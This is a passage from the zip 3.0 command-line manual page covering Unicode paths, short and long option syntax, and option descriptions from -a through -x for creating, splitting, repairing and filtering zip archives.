reads archive inarchive.zip, even if split, adds the files foo.c and bar.c, and writes the resulting archive to outarchive.zip. If inarchive.zip is split then outarchive.zip defaults to the same split size. Be aware that if outarchive.zip and any split files that are created with it already exist, these are always overwritten as needed without warning. This may be changed in the future.

Unicode. Though the zip standard requires storing paths in an archive using a specific character set, in practice zips have stored paths in archives in whatever the local character set is. This creates problems when an archive is created or updated on a system using one character set and then extracted on another system using a different character set. When compiled with Unicode support enabled on platforms that support wide characters, zip now stores, in addition to the standard local path for backward compatibility, the UTF-8 translation of the path. This provides a common universal character set for storing paths that allows these paths to be fully extracted on other systems that support Unicode and to match as close as possible on systems that don’t.

On Win32 systems where paths are internally stored as Unicode but represented in the local character set, it’s possible that some paths will be skipped during a local character set directory scan. zip with Unicode support now can read and store these paths. Note that Win 9x systems and FAT file systems don’t fully support Unicode.

Be aware that console windows on Win32 and Unix, for example, sometimes don’t accurately show all characters due to how each operating system switches in character sets for display. However, directory navigation tools should show the correct paths if the needed fonts are loaded.

Command line format. This version of zip has updated command line processing and support for long options.

Short options take the form

-s[-][s[-]...][value][=value][ value]

where s is a one or two character short option. A short option that takes a value is last in an argument and anything after it is taken as the value. If the option can be negated and “-” immediately follows the option, the option is negated. Short options can also be given as separate arguments

-s[-][value][=value][ value] -s[-][value][=value][ value] ...

Short options in general take values either as part of the same argument or as the following argument. An optional = is also supported. So

-ttmmddyyyy

and

-tt=mmddyyyy

and

-tt mmddyyyy

all work. The -x and -i options accept lists of values and use a slightly different format described below. See the -x and -i options.

Long options take the form

--longoption[-][=value][ value]

where the option starts with –, has a multicharacter name, can include a trailing dash to negate the option (if the option supports it), and can have a value (option argument) specified by preceding it with = (no spaces). Values can also follow the argument. So

--before-date=mmddyyyy

and

--before-date mmddyyyy

both work.

Long option names can be shortened to the shortest unique abbreviation. See the option descriptions below for which support long options. To avoid confusion, avoid abbreviating a negatable option with an embedded dash ("-") at the dash if you plan to negate it (the parser would consider a trailing dash, such as for the option –some-option using –some- as the option, as part of the name rather than a negating dash). This may be changed to force the last dash in –some- to be negating in the future.

OPTIONS

-a

–ascii [Systems using EBCDIC] Translate file to ASCII format.

-A

–adjust-sfx Adjust self-extracting executable archive. A self-extracting executable archive is created by prepending the SFX stub to an existing archive. The -A option tells zip to adjust the entry offsets stored in the archive to take into account this “preamble” data.

Note: self-extracting archives for the Amiga are a special case. At present, only the Amiga port of zip is capable of adjusting or updating these without corrupting them. -J can be used to remove the SFX stub if other updates need to be made.

-AC

–archive-clear [WIN32] Once archive is created (and tested if -T is used, which is recommended), clear the archive bits of files processed. WARNING: Once the bits are cleared they are cleared. You may want to use the -sf show files option to store the list of files processed in case the archive operation must be repeated. Also consider using the -MM must match option. Be sure to check out -DF as a possibly better way to do incremental backups.

-AS

–archive-set [WIN32] Only include files that have the archive bit set. Directories are not stored when -AS is used, though by default the paths of entries, including directories, are stored as usual and can be used by most unzips to recreate directories.

The archive bit is set by the operating system when a file is modified and, if used with -AC, -AS can provide an incremental backup capability. However, other applications can modify the archive bit and it may not be a reliable indicator of which files have changed since the last archive operation. Alternative ways to create incremental backups are using -t to use file dates, though this won’t catch old files copied to directories being archived, and -DF to create a differential archive.

-B

–binary [VM/CMS and MVS] force file to be read binary (default is text).

-Bn
[TANDEM] set Edit/Enscribe formatting options with n defined as

bit 0: Don’t add delimiter (Edit/Enscribe)

bit 1: Use LF rather than CR/LF as delimiter (Edit/Enscribe)

bit 2: Space fill record to maximum record length (Enscribe)

bit 3: Trim trailing space (Enscribe)

bit 8: Force 30K (Expand) large read for unstructured files

-b path

–temp-path path Use the specified path for the temporary zip archive. For example:

zip -b /tmp stuff *

will put the temporary zip archive in the directory /tmp, copying over stuff.zip to the current directory when done. This option is useful when updating an existing archive and the file system containing this old archive does not have enough space to hold both old and new archives at the same time. It may also be useful when streaming in some cases to avoid the need for data descriptors. Note that using this option may require zip take additional time to copy the archive file when done to the destination file system.

-c

–entry-comments Add one-line comments for each file. File operations (adding, updating) are done first, and the user is then prompted for a one-line comment for each file. Enter the comment followed by return, or just return for no comment.

-C

–preserve-case [VMS] Preserve case all on VMS. Negating this option (-C-) downcases.

-C2

–preserve-case-2 [VMS] Preserve case ODS2 on VMS. Negating this option (-C2-) downcases.

-C5

–preserve-case-5 [VMS] Preserve case ODS5 on VMS. Negating this option (-C5-) downcases.

-d

–delete Remove (delete) entries from a zip archive. For example:

zip -d foo foo/tom/junk foo/harry/\* \*.o

will remove the entry foo/tom/junk, all of the files that start with foo/harry/, and all of the files that end with .o (in any path). Note that shell pathname expansion has been inhibited with backslashes, so that zip can see the asterisks, enabling zip to match on the contents of the zip archive instead of the contents of the current directory. (The backslashes are not used on MSDOS-based platforms.) Can also use quotes to escape the asterisks as in

zip -d foo foo/tom/junk "foo/harry/*" "*.o"

Not escaping the asterisks on a system where the shell expands wildcards could result in the asterisks being converted to a list of files in the current directory and that list used to delete entries from the archive.

Under MSDOS, -d is case sensitive when it matches names in the zip archive. This requires that file names be entered in upper case if they were zipped by PKZIP on an MSDOS system. (We considered making this case insensitive on systems where paths were case insensitive, but it is possible the archive came from a system where case does matter and the archive could include both Bar and bar as separate files in the archive.) But see the new option -ic to ignore case in the archive.

-db

–display-bytes Display running byte counts showing the bytes zipped and the bytes to go.

-dc

–display-counts Display running count of entries zipped and entries to go.

-dd

–display-dots Display dots while each entry is zipped (except on ports that have their own progress indicator). See -ds below for setting dot size. The default is a dot every 10 MB of input file processed. The -v option also displays dots (previously at a much higher rate than this but now -v also defaults to 10 MB) and this rate is also controlled by -ds.

-df

–datafork [MacOS] Include only data-fork of files zipped into the archive. Good for exporting files to foreign operating-systems. Resource-forks will be ignored at all.

-dg

–display-globaldots Display progress dots for the archive instead of for each file. The command

zip -qdgds 10m

will turn off most output except dots every 10 MB.

-ds size

–dot-size size Set amount of input file processed for each dot displayed. See -dd to enable displaying dots. Setting this option implies -dd. Size is in the format nm where n is a number and m is a multiplier. Currently m can be k (KB), m (MB), g (GB), or t (TB), so if n is 100 and m is k, size would be 100k which is 100 KB. The default is 10 MB.

The -v option also displays dots and now defaults to 10 MB also. This rate is also controlled by this option. A size of 0 turns dots off.

This option does not control the dots from the “Scanning files” message as zip scans for input files. The dot size for that is fixed at 2 seconds or a fixed number of entries, whichever is longer.

-du

–display-usize Display the uncompressed size of each entry.

-dv

–display-volume Display the volume (disk) number each entry is being read from, if reading an existing archive, and being written to.

-D

–no-dir-entries Do not create entries in the zip archive for directories. Directory entries are created by default so that their attributes can be saved in the zip archive. The environment variable ZIPOPT can be used to change the default options. For example under Unix with sh:

ZIPOPT="-D"; export ZIPOPT

(The variable ZIPOPT can be used for any option, including -i and -x using a new option format detailed below, and can include several options.) The option -D is a shorthand for -x “*/” but the latter previously could not be set as default in the ZIPOPT environment variable as the contents of ZIPOPT gets inserted near the beginning of the command line and the file list had to end at the end of the line.

This version of zip does allow -x and -i options in ZIPOPT if the form

-x file file …** @**

is used, where the @ (an argument that is just @) terminates the list.

-DF

–difference-archive Create an archive that contains all new and changed files since the original archive was created. For this to work, the input file list and current directory must be the same as during the original zip operation.

For example, if the existing archive was created using

zip -r foofull .

from the bar directory, then the command

zip -r foofull . -DF --out foonew

also from the bardirectory creates the archivefoonew with just the files not in foofull and the files where the size or file time of the files do not match those in foofull.

Note that the timezone environment variable TZ should be set according to the local timezone in order for this option to work correctly. A change in timezone since the original archive was created could result in no times matching and all files being included.

A possible approach to backing up a directory might be to create a normal archive of the contents of the directory as a full backup, then use this option to create incremental backups.

-e

–encrypt Encrypt the contents of the zip archive using a password which is entered on the terminal in response to a prompt (this will not be echoed; if standard error is not a tty, zip will exit with an error). The password prompt is repeated to save the user from typing errors.

-E

–longnames [OS/2] Use the .LONGNAME Extended Attribute (if found) as filename.

-f

–freshen Replace (freshen) an existing entry in the zip archive only if it has been modified more recently than the version already in the zip archive; unlike the update option (-u) this will not add files that are not already in the zip archive. For example:

zip -f foo

This command should be run from the same directory from which the original zip command was run, since paths stored in zip archives are always relative.

Note that the timezone environment variable TZ should be set according to the local timezone in order for the -f, -uand-o options to work correctly.

The reasons behind this are somewhat subtle but have to do with the differences between the Unix-format file times (always in GMT) and most of the other operating systems (always local time) and the necessity to compare the two. A typical TZ value is ``MET-1MEST’’ (Middle European time with automatic adjustment for ``summertime’’ or Daylight Savings Time).

The format is TTThhDDD, where TTT is the time zone such as MET, hh is the difference between GMT and local time such as -1 above, and DDD is the time zone when daylight savings time is in effect. Leave off the DDD if there is no daylight savings time. For the US Eastern time zone EST5EDT.

-F

–fix
-FF

–fixfix Fix the zip archive. The -F option can be used if some portions of the archive are missing, but requires a reasonably intact central directory. The input archive is scanned as usual, but zip will ignore some problems. The resulting archive should be valid, but any inconsistent entries will be left out.

When doubled as in -FF, the archive is scanned from the beginning and zip scans for special signatures to identify the limits between the archive members. The single -F is more reliable if the archive is not too much damaged, so try this option first.

If the archive is too damaged or the end has been truncated, you must use -FF. This is a change from zip 2.32, where the -F option is able to read a truncated archive. The -F option now more reliably fixes archives with minor damage and the -FF option is needed to fix archives where -F might have been sufficient before.

Neither option will recover archives that have been incorrectly transferred in ascii mode instead of binary. After the repair, the -t option of unzip may show that some files have a bad CRC. Such files cannot be recovered; you can remove them from the archive using the -d option of zip.

Note that -FF may have trouble fixing archives that include an embedded zip archive that was stored (without compression) in the archive and, depending on the damage, it may find the entries in the embedded archive rather than the archive itself. Try -F first as it does not have this problem.

The format of the fix commands have changed. For example, to fix the damaged archive foo.zip,

zip -F foo --out foofix

tries to read the entries normally, copying good entries to the new archive foofix.zip. If this doesn't work, as when the archive is truncated, or if some entries you know are in the archive are missed, then try

zip -FF foo --out foofixfix

and compare the resulting archive to the archive created by -F. The -FF option may create an inconsistent archive. Depending on what is damaged, you can then use the -F option to fix that archive.

A split archive with missing split files can be fixed using -Fif you have the last split of the archive (the.zip file). If this file is missing, you must use -FF to fix the archive, which will prompt you for the splits you have.

Currently the fix options can’t recover entries that have a bad checksum or are otherwise damaged.

-FI

–fifo [Unix] Normally zip skips reading any FIFOs (named pipes) encountered, as zipcan hang if the FIFO is not being fed. This option tellszip to read the contents of any FIFO it finds.

-FS

–filesync Synchronize the contents of an archive with the files on the OS. Normally when an archive is updated, new files are added and changed files are updated but files that no longer exist on the OS are not deleted from the archive. This option enables a new mode that checks entries in the archive against the file system. If the file time and file size of the entry matches that of the OS file, the entry is copied from the old archive instead of being read from the file system and compressed. If the OS file has changed, the entry is read and compressed as usual. If the entry in the archive does not match a file on the OS, the entry is deleted. Enabling this option should create archives that are the same as new archives, but since existing entries are copied instead of compressed, updating an existing archive with -FS can be much faster than creating a new archive. Also consider using -u for updating an archive.

For this option to work, the archive should be updated from the same directory it was created in so the relative paths match. If few files are being copied from the old archive, it may be faster to create a new archive instead.

Note that the timezone environment variable TZ should be set according to the local timezone in order for this option to work correctly. A change in timezone since the original archive was created could result in no times matching and recompression of all files.

This option deletes files from the archive. If you need to preserve the original archive, make a copy of the archive first or use the –out option to output the updated archive to a new file. Even though it may be slower, creating a new archive with a new archive name is safer, avoids mismatches between archive and OS paths, and is preferred.

-g

–grow Grow (append to) the specified zip archive, instead of creating a new one. If this operation fails, zip attempts to restore the archive to its original state. If the restoration fails, the archive might become corrupted. This option is ignored when there’s no existing archive or when at least one archive member must be updated or deleted.

-h

-?

–help Display the zip help information (this also appears if zip is run with no arguments).

-h2

–more-help Display extended help including more on command line format, pattern matching, and more obscure options.

-i files

–include files Include only the specified files, as in:

zip -r foo . -i \*.c

which will include only the files that end in .c in the current directory and its subdirectories. (Note for PKZIP users: the equivalent command is

pkzip -rP foo *.c

PKZIP does not allow recursion in directories other than the current one.) The backslash avoids the shell filename substitution, so that the name matching is performed by zip at all directory levels. [This is for Unix and other systems where \ escapes the next character. For other systems where the shell does not process * do not use \ and the above is

zip -r foo . -i *.c

Examples are for Unix unless otherwise specified.] So to include dir, a directory directly under the current directory, use

zip -r foo . -i dir/\*

or

zip -r foo . -i "dir/*"

to match paths such as dir/a and dir/b/file.c [on ports without wildcard expansion in the shell such as MSDOS and Windows

zip -r foo . -i dir/*

is used.] Note that currently the trailing / is needed for directories (as in

zip -r foo . -i dir/

to include directory dir).

The long option form of the first example is

zip -r foo . --include \*.c

and does the same thing as the short option form.

Though the command syntax used to require -i at the end of the command line, this version actually allows -i (or –include) anywhere. The list of files terminates at the next argument starting with -, the end of the command line, or the list terminator @ (an argument that is just @). So the above can be given as

zip -i .c @ -r foo .

for example. There must be a space between the option and the first file of a list. For just one file you can use the single value form

zip -i\*.c -r foo .

(no space between option and value) or

zip --include=\*.c -r foo .

as additional examples. The single value forms are not recommended because they can be confusing and, in particular, the -ifile format can cause problems if the first letter of file combines with i to form a two-letter option starting with i. Use -sc to see how your command line will be parsed.

Also possible:

zip -r foo . [email protected]

which will only include the files in the current directory and its subdirectories that match the patterns in the file include.lst.

Files to -i and -x are patterns matching internal archive paths. See -R for more on patterns.

-I

–no-image [Acorn RISC OS] Don’t scan through Image files. When used, zip will not consider Image files (eg. DOS partitions or Spark archives when SparkFS is loaded) as directories but will store them as single files.

For example, if you have SparkFS loaded, zipping a Spark archive will result in a zipfile containing a directory (and its content) while using the ‘I’ option will result in a zipfile containing a Spark archive. Obviously this second case will also be obtained (without the ‘I’ option) if SparkFS isn’t loaded.

-ic

–ignore-case [VMS, WIN32] Ignore case when matching archive entries. This option is only available on systems where the case of files is ignored. On systems with case-insensitive file systems, case is normally ignored when matching files on the file system but is not ignored for -f (freshen), -d (delete), -U (copy), and similar modes when matching against archive entries (currently -f ignores case on VMS) because archive entries can be from systems where case does matter and names that are the same except for case can exist in an archive. The -ic option makes all matching case insensitive. This can result in multiple archive entries matching a command line pattern.

-j

–junk-paths Store just the name of a saved file (junk the path), and do not store directory names. By default, zip will store the full path (relative to the current directory).

-jj

–absolute-path [MacOS] record Fullpath (+ Volname). The complete path including volume will be stored. By default the relative path will be stored.

-J

–junk-sfx Strip any prepended data (e.g. a SFX stub) from the archive.

-k

–DOS-names Attempt to convert the names and paths to conform to MSDOS, store only the MSDOS attribute (just the user write attribute from Unix), and mark the entry as made under MSDOS (even though it was not); for compatibility with PKUNZIP under MSDOS which cannot handle certain names such as those with two dots.

-l

–to-crlf Translate the Unix end-of-line character LF into the MSDOS convention CR LF. This option should not be used on binary files. This option can be used on Unix if the zip file is intended for PKUNZIP under MSDOS. If the input files already contain CR LF, this option adds an extra CR. This is to ensure that unzip -a on Unix will get back an exact copy of the original file, to undo the effect of zip -l. See -ll for how binary files are handled.

-la

–log-append Append to existing logfile. Default is to overwrite.

-lf logfilepath

–logfile-path logfilepath Open a logfile at the given path. By default any existing file at that location is overwritten, but the -la option will result in an existing file being opened and the new log information appended to any existing information. Only warnings and errors are written to the log unless the -li option is also given, then all information messages are also written to the log.

-li

–log-info Include information messages, such as file names being zipped, in the log. The default is to only include the command line, any warnings and errors, and the final status.

-ll

–from-crlf Translate the MSDOS end-of-line CR LF into Unix LF. This option should not be used on binary files. This option can be used on MSDOS if the zip file is intended for unzip under Unix. If the file is converted and the file is later determined to be binary a warning is issued and the file is probably corrupted. In this release if -ll detects binary in the first buffer read from a file, zip now issues a warning and skips line end conversion on the file. This check seems to catch all binary files tested, but the original check remains and if a converted file is later determined to be binary that warning is still issued. A new algorithm is now being used for binary detection that should allow line end conversion of text files in UTF-8 and similar encodings.

-L

–license Display the zip license.

-m

–move Move the specified files into the zip archive; actually, this deletes the target directories/files after making the specified zip archive. If a directory becomes empty after removal of the files, the directory is also removed. No deletions are done until zip has created the archive without error. This is useful for conserving disk space, but is potentially dangerous so it is recommended to use it in combination with -T to test the archive before removing all input files.

-MM

–must-match All input patterns must match at least one file and all input files found must be readable. Normally when an input pattern does not match a file the “name not matched” warning is issued and when an input file has been found but later is missing or not readable a missing or not readable warning is issued. In either case zip continues creating the archive, with missing or unreadable new files being skipped and files already in the archive remaining unchanged. After the archive is created, if any files were not readable zip returns the OPEN error code (18 on most systems) instead of the normal success return (0 on most systems). With -MM set, zip exits as soon as an input pattern is not matched (whenever the “name not matched” warning would be issued) or when an input file is not readable. In either case zip exits with an OPEN error and no archive is created.

This option is useful when a known list of files is to be zipped so any missing or unreadable files will result in an error. It is less useful when used with wildcards, but zip will still exit with an error if any input pattern doesn’t match at least one file and if any matched files are unreadable. If you want to create the archive anyway and only need to know if files were skipped, don’t use -MM and just check the return code. Also -lf could be useful.

-n suffixes

–suffixes suffixes Do not attempt to compress files named with the given suffixes. Such files are simply stored (0% compression) in the output zip file, so that zip doesn’t waste its time trying to compress them. The suffixes are separated by either colons or semicolons. For example:

zip -rn .Z:.zip:.tiff:.gif:.snd foo foo

will copy everything from foo into foo.zip, but will store any files that end in .Z, .zip, .tiff, .gif, or .snd without trying to compress them (image and sound files often have their own specialized compression methods). By default, zip does not compress files with extensions in the list .Z:.zip:.zoo:.arc:.lzh:.arj. Such files are stored directly in the output archive. The environment variable ZIPOPT can be used to change the default options. For example under Unix with csh:

setenv ZIPOPT “-n .gif:.zip”

To attempt compression on all files, use:

zip -n : foo

The maximum compression option -9 also attempts compression on all files regardless of extension.

On Acorn RISC OS systems the suffixes are actually filetypes (3 hex digit format). By default, zip does not compress files with filetypes in the list DDC:D96:68E (i.e. Archives, CFS files and PackDir files).

-nw

–no-wild Do not perform internal wildcard processing (shell processing of wildcards is still done by the shell unless the arguments are escaped). Useful if a list of paths is being read and no wildcard substitution is desired.

-N

–notes [Amiga, MacOS] Save Amiga or MacOS filenotes as zipfile comments. They can be restored by using the -N option of unzip. If -c is used also, you are prompted for comments only for those files that do not have filenotes.

-o

–latest-time Set the “last modified” time of the zip archive to the latest (oldest) “last modified” time found among the entries in the zip archive. This can be used without any other operations, if desired. For example:

zip -o foo

will change the last modified time of foo.zip to the latest time of the entries in foo.zip.

-O output-file

–output-file output-file Process the archive changes as usual, but instead of updating the existing archive, output the new archive to output-file. Useful for updating an archive without changing the existing archive and the input archive must be a different file than the output archive.

This option can be used to create updated split archives. It can also be used with -U to copy entries from an existing archive to a new archive. See the EXAMPLES section below.

Another use is converting zip files from one split size to another. For instance, to convert an archive with 700 MB CD splits to one with 2 GB DVD splits, can use:

zip -s 2g cd-split.zip –out dvd-split.zip

which uses copy mode. See -U below. Also:

zip -s 0 split.zip –out unsplit.zip

will convert a split archive to a single-file archive.

Copy mode will convert stream entries (using data descriptors and which should be compatible with most unzips) to normal entries (which should be compatible with all unzips), except if standard encryption was used. For archives with encrypted entries, zipcloak will decrypt the entries and convert them to normal entries.

-p

–paths Include relative file paths as part of the names of files stored in the archive. This is the default. The -j option junks the paths and just stores the names of the files.

-P password

–password password Use password to encrypt zipfile entries (if any). THIS IS INSECURE! Many multi-user operating systems provide ways for any user to see the current command line of any other user; even on stand-alone systems there is always the threat of over-the-shoulder peeking. Storing the plaintext password as part of a command line in an automated script is even worse. Whenever possible, use the non-echoing, interactive prompt to enter passwords. (And where security is truly important, use strong encryption such as Pretty Good Privacy instead of the relatively weak standard encryption provided by zipfile utilities.)

-q

–quiet Quiet mode; eliminate informational messages and comment prompts. (Useful, for example, in shell scripts and background tasks).

-Qn

–Q-flag n [QDOS] store information about the file in the file header with n defined as

bit 0: Don’t add headers for any file

bit 1: Add headers for all files

bit 2: Don’t wait for interactive key press on exit

-r

–recurse-paths Travel the directory structure recursively; for example:

zip -r foo.zip foo

or more concisely

zip -r foo foo

In this case, all the files and directories in foo are saved in a zip archive named foo.zip, including files with names starting with ".", since the recursion does not use the shell’s file-name substitution mechanism. If you wish to include only a specific subset of the files in directory foo and its subdirectories, use the -i option to specify the pattern of files to be included. You should not use -r with the name ".*", since that matches ".." which will attempt to zip up the parent directory (probably not what was intended).

Multiple source directories are allowed as in

zip -r foo foo1 foo2

which first zips up foo1 and then foo2, going down each directory.

Note that while wildcards to -r are typically resolved while recursing down directories in the file system, any -R, -x, and -i wildcards are applied to internal archive pathnames once the directories are scanned. To have wildcards apply to files in subdirectories when recursing on Unix and similar systems where the shell does wildcard substitution, either escape all wildcards or put all arguments with wildcards in quotes. This lets zip see the wildcards and match files in subdirectories using them as it recurses.

-R

–recurse-patterns Travel the directory structure recursively starting at the current directory; for example:

zip -R foo "*.c"

In this case, all the files matching *.c in the tree starting at the current directory are stored into a zip archive named foo.zip. Note that *.c will match file.c, a/file.c and a/b/.c. More than one pattern can be listed as separate arguments. Note for PKZIP users: the equivalent command is

pkzip -rP foo *.c

Patterns are relative file paths as they appear in the archive, or will after zipping, and can have optional wildcards in them. For example, given the current directory is foo and under it are directories foo1 and foo2 and in foo1 is the file bar.c,

zip -R foo/*

will zip up foo, foo/foo1, foo/foo1/bar.c, and foo/foo2.

zip -R */bar.c

will zip up foo/foo1/bar.c. See the note for -r on escaping wildcards.

-RE

–regex [WIN32] Before zip 3.0, regular expression list matching was enabled by default on Windows platforms. Because of confusion resulting from the need to escape “[” and “]” in names, it is now off by default for Windows so “[” and “]” are just normal characters in names. This option enables [] matching again.

-s splitsize

–split-size splitsize Enable creating a split archive and set the split size. A split archive is an archive that could be split over many files. As the archive is created, if the size of the archive reaches the specified split size, that split is closed and the next split opened. In general all splits but the last will be the split size and the last will be whatever is left. If the entire archive is smaller than the split size a single-file archive is created.

Split archives are stored in numbered files. For example, if the output archive is named archive and three splits are required, the resulting archive will be in the three files archive.z01, archive.z02, and archive.zip. Do not change the numbering of these files or the archive will not be readable as these are used to determine the order the splits are read.

Split size is a number optionally followed by a multiplier. Currently the number must be an integer. The multiplier can currently be one of k (kilobytes), m (megabytes), g (gigabytes), or t (terabytes). As 64k is the minimum split size, numbers without multipliers default to megabytes. For example, to create a split archive called foo with the contents of the bar directory with splits of 670 MB that might be useful for burning on CDs, the command:

zip -s 670m -r foo bar

could be used.

Currently the old splits of a split archive are not excluded from a new archive, but they can be specifically excluded. If possible, keep the input and output archives out of the path being zipped when creating split archives.

Using -s without -sp as above creates all the splits where foo is being written, in this case the current directory. This split mode updates the splits as the archive is being created, requiring all splits to remain writable, but creates split archives that are readable by any unzip that supports split archives. See -sp below for enabling split pause mode which allows splits to be written directly to removable media.

The option -sv can be used to enable verbose splitting and provide details of how the splitting is being done. The -sb option can be used to ring the bell when zip pauses for the next split destination.

Split archives cannot be updated, but see the -O (–out) option for how a split archive can be updated as it is copied to a new archive. A split archive can also be converted into a single-file archive using a split size of 0 or negating the -s option:

zip -s 0 split.zip –out single.zip

Also see -U (–copy) for more on using copy mode.

-sb

–split-bell If splitting and using split pause mode, ring the bell when zip pauses for each split destination.

-sc

–show-command Show the command line starting zip as processed and exit. The new command parser permutes the arguments, putting all options and any values associated with them before any non-option arguments. This allows an option to appear anywhere in the command line as long as any values that go with the option go with it. This option displays the command line as zip sees it, including any arguments from the environment such as from the ZIPOPT variable. Where allowed, options later in the command line can override options earlier in the command line.

-sf

–show-files Show the files that would be operated on, then exit. For instance, if creating a new archive, this will list the files that would be added. If the option is negated, -sf-, output only to an open log file. Screen display is not recommended for large lists.

-so

–show-options Show all available options supported by zip as compiled on the current system. As this command reads the option table, it should include all options. Each line includes the short option (if defined), the long option (if defined), the format of any value that goes with the option, if the option can be negated, and a small description. The value format can be no value, required value, optional value, single character value, number value, or a list of values. The output of this option is not intended to show how to use any option but only show what options are available.

-sp

–split-pause If splitting is enabled with -s, enable split pause mode. This creates split archives as -s does, but stream writing is used so each split can be closed as soon as it is written and zip will pause between each split to allow changing split destination or media.

Though this split mode allows writing splits directly to removable media, it uses stream archive format that may not be readable by some unzips. Before relying on splits created with -sp, test a split archive with the unzip you will be using.

To convert a stream split archive (created with -sp) to a standard archive see the –out option.

-su

–show-unicode As -sf, but also show Unicode version of the path if exists.

-sU

–show-just-unicode As -sf, but only show Unicode version of the path if exists, otherwise show the standard version of the path.

-sv

–split-verbose Enable various verbose messages while splitting, showing how the splitting is being done.

-S

–system-hidden [MSDOS, OS/2, WIN32 and ATARI] Include system and hidden files.

[MacOS] Includes finder invisible files, which are ignored otherwise.

-t mmddyyyy

–from-date mmddyyyy Do not operate on files modified prior to the specified date, where mm is the month (00-12), dd is the day of the month (01-31), and yyyy is the year. The ISO 8601 date format yyyy-mm-dd is also accepted. For example:

zip -rt 12071991 infamy foo

zip -rt 1991-12-07 infamy foo

will add all the files in foo and its subdirectories that were last modified on or after 7 December 1991, to the zip archive infamy.zip.

-tt mmddyyyy

–before-date mmddyyyy Do not operate on files modified after or at the specified date, where mm is the month (00-12), dd is the day of the month (01-31), and yyyy is the year. The ISO 8601 date format yyyy-mm-dd is also accepted. For example:

zip -rtt 11301995 infamy foo

zip -rtt 1995-11-30 infamy foo

will add all the files in foo and its subdirectories that were last modified before 30 November 1995, to the zip archive infamy.zip.

-T

–test Test the integrity of the new zip file. If the check fails, the old zip file is unchanged and (with the -m option) no input files are removed.

-TT cmd

–unzip-command cmd Use command cmd instead of ‘unzip -tqq’ to test an archive when the -T option is used. On Unix, to use a copy of unzip in the current directory instead of the standard system unzip, could use:

zip archive file1 file2 -T -TT "./unzip -tqq"

In cmd, {} is replaced by the name of the temporary archive, otherwise the name of the archive is appended to the end of the command. The return code is checked for success (0 on Unix).

-u

–update Replace (update) an existing entry in the zip archive only if it has been modified more recently than the version already in the zip archive. For example:

zip -u stuff *

will add any new files in the current directory, and update any files which have been modified since the zip archive stuff.zip was last created/modified (note that zip will not try to pack stuff.zip into itself when you do this).

Note that the -u option with no input file arguments acts like the -f (freshen) option.

-U

–copy-entries Copy entries from one archive to another. Requires the –out option to specify a different output file than the input archive. Copy mode is the reverse of -d delete. When delete is being used with –out, the selected entries are deleted from the archive and all other entries are copied to the new archive, while copy mode selects the files to include in the new archive. Unlike -u update, input patterns on the command line are matched against archive entries only and not the file system files. For instance,

zip inarchive "*.c" --copy --out outarchive

copies entries with names ending in .c from inarchive to outarchive. The wildcard must be escaped on some systems to prevent the shell from substituting names of files from the file system which may have no relevance to the entries in the archive.

If no input files appear on the command line and –out is used, copy mode is assumed:

zip inarchive --out outarchive

This is useful for changing split size for instance. Encrypting and decrypting entries is not yet supported using copy mode. Use zipcloak for that.

-UN v

–unicode v Determine what zip should do with Unicode file names. zip 3.0, in addition to the standard file path, now includes the UTF-8 translation of the path if the entry path is not entirely 7-bit ASCII. When an entry is missing the Unicode path, zip reverts back to the standard file path. The problem with using the standard path is this path is in the local character set of the zip that created the entry, which may contain characters that are not valid in the character set being used by the unzip. When zip is reading an archive, if an entry also has a Unicode path, zip now defaults to using the Unicode path to recreate the standard path using the current local character set.

This option can be used to determine what zip should do with this path if there is a mismatch between the stored standard path and the stored UTF-8 path (which can happen if the standard path was updated). In all cases, if there is a mismatch it is assumed that the standard path is more current and zip uses that. Values for v are

q - quit if paths do not match

w - warn, continue with standard path

i - ignore, continue with standard path

n - no Unicode, do not use Unicode paths

The default is to warn and continue.

Characters that are not valid in the current character set are escaped as #Uxxxx and #Lxxxxxx, where x is an ASCII character for a hex digit. The first is used if a 16-bit character number is sufficient to represent the Unicode character and the second if the character needs more than 16 bits to represent it’s Unicode character code. Setting -UN to

e - escape

as in

zip archive -sU -UN=e

forces zip to escape all characters that are not printable 7-bit ASCII.

Normally zip stores UTF-8 directly in the standard path field on systems where UTF-8 is the current character set and stores the UTF-8 in the new extra fields otherwise. The option

u - UTF-8

as in

zip archive dir -r -UN=UTF8

forces zip to store UTF-8 as native in the archive. Note that storing UTF-8 directly is the default on Unix systems that support it. This option could be useful on Windows systems where the escaped path is too large to be a valid path and the UTF-8 version of the path is smaller, but native UTF-8 is not backward compatible on Windows systems.

-v

–verbose Verbose mode or print diagnostic version info.

Normally, when applied to real operations, this option enables the display of a progress indicator during compression (see -dd for more on dots) and requests verbose diagnostic info about zipfile structure oddities.

However, when -v is the only command line argument a diagnostic screen is printed instead. This should now work even if stdout is redirected to a file, allowing easy saving of the information for sending with bug reports to Info-ZIP. The version screen provides the help screen header with program name, version, and release date, some pointers to the Info-ZIP home and distribution sites, and shows information about the target environment (compiler type and version, OS version, compilation date and the enabled optional features used to create the zip executable).

-V

–VMS-portable [VMS] Save VMS file attributes. (Files are truncated at EOF.) When a -V archive is unpacked on a non-VMS system, some file types (notably Stream_LF text files and pure binary files like fixed-512) should be extracted intact. Indexed files and file types with embedded record sizes (notably variable-length record types) will probably be seen as corrupt elsewhere.

-VV

–VMS-specific [VMS] Save VMS file attributes, and all allocated blocks in a file, including any data beyond EOF. Useful for moving ill-formed files among VMS systems. When a -VV archive is unpacked on a non-VMS system, almost all files will appear corrupt.

-w

–VMS-versions [VMS] Append the version number of the files to the name, including multiple versions of files. Default is to use only the most recent version of a specified file.

-ww

–VMS-dot-versions [VMS] Append the version number of the files to the name, including multiple versions of files, using the .nnn format. Default is to use only the most recent version of a specified file.

-ws

–wild-stop-dirs Wildcards match only at a directory level. Normally zip handles paths as strings and given the paths

/foo/bar/dir/file1.c

/foo/bar/file2.c

an input pattern such as

/foo/bar/*

normally would match both paths, the * matching dir/file1.c and file2.c. Note that in the first case a directory boundary (/) was crossed in the match. With -ws no directory bounds will be included in the match, making wildcards local to a specific directory level. So, with -ws enabled, only the second path would be matched.

When using -ws, use ** to match across directory boundaries as * does normally.

-x files

–exclude files Explicitly exclude the specified files, as in:

zip -r foo foo -x \*.o

which will include the contents of foo in foo.zip while excluding all the files that end in .o. The backslash avoids the shell filename substitution, so that the name matching is performed by zip at all directory levels.

Also possible:

zip -r foo foo [email protected]

which will include the contents of foo in foo.zip while excluding all the files that match the patterns in the file exclude.lst.

The long option forms of the above are

zip -r foo foo --exclude \*.o

and

zip -r foo foo --exclude @exclude.lst

Multiple patterns can be specified, as in:

zip -r foo foo -x \*.o \*.c

If there is no space between -x and the pattern, just one value is assumed (no list):

zip -r foo foo -x\*.o

See -i for more on include and exclude.

-X

